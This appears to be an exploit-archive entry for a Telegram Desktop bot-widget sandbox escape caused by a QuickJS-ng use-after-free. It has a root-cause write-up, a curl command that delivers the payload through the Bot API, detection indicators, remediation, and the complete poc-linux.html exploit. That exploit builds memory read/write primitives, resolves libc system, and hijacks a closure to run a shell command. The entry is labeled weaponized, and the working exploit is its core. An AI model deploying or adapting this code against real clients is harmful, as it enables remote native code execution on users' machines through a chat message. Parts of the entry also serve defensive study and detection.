PoC Archive PoC Archive
No CVE assigned — quickjs-ng issue #1910 / Telegram Desktop bot widget sandbox escape category: web (CRITICAL)
Unverified

Telegram Desktop QuickJS Widget Sandbox Escape RCE (quickjs-ng #1910)

Published: 2026-11-30 • Researcher: umbra2728 (macOS/Linux/universal ports); bikini / telejam (original Windows research)

Target software Telegram Desktop bot widgets (QuickJS-ng widget sandbox)
Affected versions Telegram Desktop 7.4.0 through 7.4.2 (official builds tested); later 7.4.x status is disputed
Status Weaponized
Severity Critical
Severity
Critical
CVE
No CVE assigned — quickjs-ng issue #1910 / Telegram Desktop bot widget sandbox escape
Category
web
Affected product
Telegram Desktop bot widgets (QuickJS-ng widget sandbox)
Affected versions
Telegram Desktop 7.4.0 through 7.4.2 (official builds tested); later 7.4.x status is disputed
Disclosed
2026-11-30
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-11-30
Last Updated2026-11-13
Author / Researcherumbra2728 (macOS/Linux/universal ports); bikini / telejam (original Windows research)
CVE / AdvisoryNo CVE assigned — quickjs-ng issue #1910 / Telegram Desktop bot widget sandbox escape
Categoryweb
SeverityCritical
CVSS ScoreN/A (no CVE or CVSS assigned)
StatusWeaponized
Tagstelegram, quickjs, quickjs-ng, rce, use-after-free, sandbox-escape, bot-widget, client-side, javascript
RelatedN/A

Affected Target

FieldValue
Software / SystemTelegram Desktop bot widgets (QuickJS-ng widget sandbox)
Versions AffectedTelegram Desktop 7.4.0 through 7.4.2 (official builds tested); later 7.4.x status is disputed
PlatformsWindows x64, macOS arm64, Linux x64/arm64
Language / PlatformJavaScript/HTML widget; native command execution in the Telegram Desktop process
Authentication RequiredNo
Network Access RequiredYes (bot can deliver a widget message)

Summary

Telegram Desktop 7.4.x renders bot widgets in a sandbox powered by QuickJS-ng. A use-after-free in the generator prologue involving disposal of an await using construct leaves JSVarRef pointers on a returned C stack frame. The included HTML PoCs turn that primitive into arbitrary read/write inside the widget sandbox, discover the native image base and imported functions, and redirect a closure to the host process’s native command execution. The universal PoC detects Windows PE, macOS Mach-O or Linux ELF at runtime and runs the matching final stage; the demonstration payloads are Calculator on Windows/macOS and touch /tmp/pwned on Linux.

Vulnerability Details

Root Cause

The widget sandbox uses QuickJS-ng. Disposal of an ordinary-frame await using construct emits OP_await and leaves JSVarRef pointers on a C stack frame that has already returned, producing a use-after-free. The PoC reclaims the freed memory with a resizable ArrayBuffer, forges a JSValue/object layout, and builds read/write primitives over the reclaimed object. It then locates the host image base and imported native functions (WinExec, system, or libc system via ELF symbol resolution) and rewrites a closure so that its call target is the native function.

Attack Vector

A bot delivers an HTML widget to a chat. When the widget message is rendered/opened in a vulnerable Telegram Desktop build, the embedded JavaScript executes in the QuickJS sandbox and triggers the UAF. The sender does not need a file download or a separate click on a link; the widget itself is the attack surface. The included instructions send the HTML through the Bot API sendWidget method.

Impact

Native code execution inside the Telegram Desktop process, outside the widget sandbox. The demonstrated payloads launch Calculator on Windows/macOS or create /tmp/pwned on Linux, but the primitive is arbitrary native execution; a real payload could run any command with the user’s privileges. Telegram Desktop remains running after the demonstration.

Environment / Lab Setup

Output
OS:          Windows x64, macOS arm64, or Linux x64/arm64
Target:      Official Telegram Desktop 7.4.0–7.4.2 build
Attacker:    Telegram bot able to send a widget to the target chat
Tools:       curl, python3 (for JSON encoding), a test Telegram account

Setup Steps

  1. Create a test bot and obtain its token and your numeric chat ID.
  2. Use a disposable Telegram account and a test chat; do not target third parties.
  3. Choose one HTML file:
    • poc-universal.html — runtime OS detection
    • poc-win.html / poc-macos.html / poc-linux.html — platform-specific
  4. Send the widget through the Bot API:
Shell script
1
2
3
curl -s -X POST "https://api.telegram.org/bot<TOKEN>/sendWidget" \
  -H "Content-Type: application/json" \
  -d "$(python3 -c 'import json; print(json.dumps({"chat_id": <YOUR_ID>, "html": open("poc-universal.html").read()}))')"
  1. Open the chat containing the widget in the vulnerable Telegram Desktop build.

Proof of Concept

Step-by-Step Reproduction

  1. Deliver the HTML as a bot widget to a test chat.
  2. Render/open the widget in Telegram Desktop 7.4.0–7.4.2.
  3. The JavaScript triggers the QuickJS-ng UAF, reclaims the freed allocation, and creates arbitrary read/write primitives.
  4. It walks the native image (PE/Mach-O/ELF), resolves WinExec/system, and rewrites a closure to call the native function.
  5. The final stage runs the platform payload: calc.exe, open -a Calculator, or touch /tmp/pwned.

Exploit Code

See poc-universal.html, poc-win.html, poc-macos.html and poc-linux.html.

The files are self-contained HTML/JavaScript PoCs. Their SHA-256 values match the upstream README:

FileSHA-256
poc-universal.html503e5c7536016d44075765d1dd62800e7aa446a25dca6b3fc398f8f9a9ab8459
poc-win.html3e2cbc65f8dcb29e2ae78879554f72ad7f3bf48509467d43d60e1e2f346d3347
poc-macos.htmlac512ff672ac894ed074c126b1f331ae2d739ddf0dfcb6f37541ba78ecfd4f2b
poc-linux.htmla421bd4a2d1f8e7c47d888f64b160d77ecef57d19bedf8ba06866bd87d0a2337

Expected Output

  • Windows: Calculator opens from the Telegram Desktop process.
  • macOS: Calculator opens from the Telegram Desktop process.
  • Linux: /tmp/pwned is created.
  • Telegram Desktop keeps running and responsive.

Detection & Indicators of Compromise

  • Unexpected child processes spawned by Telegram Desktop, especially calc.exe, Calculator, open -a Calculator, or shell commands.
  • A widget message containing HTML/JavaScript with large typed-array or BigInt manipulation and native image parsing.
  • QuickJS-ng crashes or use-after-free reports in Telegram Desktop logs.
  • Telegram Desktop process spawning /bin/sh, cmd.exe or PowerShell unexpectedly.
  • Bot widgets received from untrusted bots; no CVE exists, so version-based detection must use the client build and widget behavior.

SIEM / EDR rule (example):

Output
1
ParentImage endswith \Telegram.exe AND Image endswith \calc.exe

Remediation

ActionDetail
PatchUpgrade Telegram Desktop past the affected 7.4.0–7.4.2 builds; verify the vendor’s current widget/QuickJS fix status, as later 7.4.x exploitation has been disputed.
WorkaroundDisable or avoid untrusted bot widgets; restrict bot usage; do not open widget messages from unknown bots.
Config HardeningMonitor Telegram Desktop child processes, restrict untrusted bot interactions, and keep desktop clients current.

References

Notes

Reviewed 2026-11-30 from the linked repository. The PoCs are self-contained HTML/JavaScript and their SHA-256 values match the upstream README exactly. The payloads are limited to Calculator/touch and contain no network exfiltration, credential access, persistence or C2 logic; the exploit primitive itself is arbitrary native code execution.

No CVE has been assigned to this issue as of 2026-11-30, so this entry is advisory-based rather than CVE-based. The repository has no license file; it is archived with attribution for authorized security research only. The demo GIF and external video were not copied. No exploit code was executed during archival.

poc-linux.html
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
<!doctype html><html><body><div id="out">running</div><script>
"use strict";
var K;
var rab=new ArrayBuffer(1,{maxByteLength:120});
var view=new Uint8Array(rab);
var pins=[];
for(var pi=0;pi<4;pi++)pins.push(new ArrayBuffer(120));
function w16(o,x){view[o]=x&255;view[o+1]=(x>>>8)&255}
function w32(o,x){for(var i=0;i<4;i++)view[o+i]=Number((BigInt(x)>>BigInt(i*8))&255n)}
function w64(o,x){for(var i=0;i<8;i++)view[o+i]=Number((x>>BigInt(i*8))&255n)}
function r64v(o){var x=0n;for(var i=0;i<8;i++)x|=BigInt(view[o+i])<<BigInt(i*8);return x}
function mk(){function* g(a=(pins.push(new ArrayBuffer(120)),K=()=>arguments)){arguments[0]=yield 1;yield 2}var it=g();it.next();it.next(it)}
mk();
var junk=new ArrayBuffer(2000000);
rab.resize(120);
view.fill(0);
junk=null;
w16(18,1);
var fake=K();
var keep1=fake;
var keep2=fake;
var holder={a:fake,b:fake,c:fake,d:fake};
var weak=new WeakRef(fake);
var record=r64v(40);
w16(18,24);
w32(64,4096);
function read8(address){w64(56,address);return fake[0]}
function read64(address){var x=0n;for(var i=0;i<8;i++)x|=BigInt(read8(address+BigInt(i)))<<BigInt(i*8);return x}
var weakData=read64(record+16n);
var fakeAddress=read64(weakData);
function restoreTyped(){view[16]=16;w16(18,24);w64(48,fakeAddress+72n);w64(88,fakeAddress+104n);w64(96,fakeAddress+40n);w32(64,4096);view[113]=0}
function leakValue(value){view.fill(0,72,88);view[16]=16;w16(18,2);w64(56,fakeAddress+72n);w32(64,1);fake[0]=value;var address=r64v(72);fake[0]=0;restoreTyped();return address}
var nativeObject=leakValue(String.fromCharCode);
function write8(address,value){w64(56,address);fake[0]=value}
function write64(address,value){for(var i=0;i<8;i++)write8(address+BigInt(i),Number((value>>BigInt(i*8))&255n))}
function read32(address){return (read8(address)|(read8(address+1n)<<8)|(read8(address+2n)<<16)|(read8(address+3n)<<24))>>>0}
function read16(address){return read8(address)|(read8(address+1n)<<8)}
function readAscii(address,limit){var result="";for(var i=0;i<limit;i++){var c=read8(address+BigInt(i));if(!c)break;result+=String.fromCharCode(c)}return result}
write8(fakeAddress-4n,255);
write8(fakeAddress-3n,255);
write8(fakeAddress-2n,255);
write8(fakeAddress-1n,63);
function pinObject(value){var address=leakValue(value);write8(address-4n,255);write8(address-3n,255);write8(address-2n,255);write8(address-1n,63)}
pinObject(K);
pinObject(weak);
pinObject(rab);
pinObject(view);
var nativeFunction=read64(nativeObject+56n);
var imageBase=nativeFunction&~4095n;
for(var page=0;page<65536;page++,imageBase-=4096n){if(read32(imageBase)===1179403647)break;if(page===65535)throw new Error("header")}
function dynGet(dyn,tag){for(var i=0;i<64;i++){var t=read64(dyn+BigInt(i*16));var v=read64(dyn+BigInt(i*16)+8n);if(t===0n)break;if(t===tag)return v}return 0n}
function elfFind(base,libName,symName){
  var phoff=read64(base+32n);
  var phentsize=read16(base+54n);
  var phnum=read16(base+56n);
  var dynvaddr=0n,dynsz=0n;
  for(var i=0;i<phnum;i++){
    var ph=base+phoff+BigInt(i*phentsize);
    var ptype=read32(ph);
    if(ptype===2){dynvaddr=read64(ph+16n);dynsz=read64(ph+32n)}
  }
  if(!dynvaddr)throw new Error("no PT_DYNAMIC");
  var dyn=base+dynvaddr;
  var syment=24n;
  var gnuHash=0n;
  var linkMapAddr=0n;
  for(var d=0;d<256;d++){if(dynsz && BigInt((d+1)*16)>dynsz)break;
    var tag=read64(dyn+BigInt(d*16));
    var val=read64(dyn+BigInt(d*16)+8n);
    if(tag===4n)syment=val;
    if(tag===0x6ffffef5n)gnuHash=val;
    if(tag===21n)linkMapAddr=val;
  }
  var linkMap=linkMapAddr?read64(linkMapAddr+8n):0n;
  if(!linkMap)throw new Error("no r_debug");
  var l_base=0n,ldyn=0n;
  for(var l=0;l<128;l++){
    var lname=read64(linkMap+8n);
    var laddr=read64(linkMap);
    var ldynv=read64(linkMap+16n);
    var lnext=read64(linkMap+24n);
    var nm=lname?readAscii(lname,256):"";
    if(nm.indexOf(libName)!==-1){l_base=laddr;ldyn=ldynv;break}
    if(!lnext)break;
    linkMap=lnext;
  }
  if(!ldyn)throw new Error("lib not found");
  var gnuHash=dynGet(ldyn,0x6ffffef5n);
  var syment2=dynGet(ldyn,11n)||24n;
  var symtab=dynGet(ldyn,6n);
  var strtab=dynGet(ldyn,5n);
  if(!gnuHash||!symtab||!strtab)throw new Error("no dyn entries");
  var nbucket=read32(gnuHash);
  var symoffset=read32(gnuHash+4n);
  var bloomSize=read32(gnuHash+8n);
  var bloomShift=read32(gnuHash+12n);
  var bucketsAddr=gnuHash+BigInt(16+bloomSize*8);
  var chainAddr=bucketsAddr+BigInt(nbucket*4);
  var h=5381;
  for(var ci=0;ci<symName.length;ci++){h=(((h<<5)+h+symName.charCodeAt(ci))>>>0)}
  var bucket=h%nbucket;
  var idx=read32(bucketsAddr+BigInt(bucket)*4n);
  if(idx<symoffset)return 0n;
  while(true){
    var chainVal=read32(chainAddr+BigInt((idx-symoffset)*4));
    if(((chainVal>>>1)===((h>>>1)&0x7fffffff))){
      var e=symtab+BigInt(idx*Number(syment2));
      var soff=read32(e);
      var value=read64(e+8n);
      if(value&&readAscii(strtab+BigInt(soff),16)===symName)return l_base+value;
    }
    if(chainVal&1)break;
    idx++;
  }
  return 0n;
}
var target=elfFind(imageBase,"libc","system");
if(!target)throw new Error("system");
var command="touch /tmp/pwned\0";
var commandAddress=leakValue(command)+24n;
var donor=[0,0,0,0];
var donorAddress=leakValue(donor);
var closureRecord=read64(donorAddress+56n);
write64(donorAddress+56n,0n);
write64(donorAddress+64n,0n);
write64(closureRecord,0n);
write64(closureRecord+8n,0n);
write64(closureRecord+16n,commandAddress);
write64(closureRecord+24n,target);
var launch=Object.create(null);
var launchAddress=leakValue(launch);
write8(launchAddress+18n,16);
write8(launchAddress+19n,0);
write64(launchAddress+48n,closureRecord);
launch=null;
document.getElementById("out").textContent="done";
</script></body></html>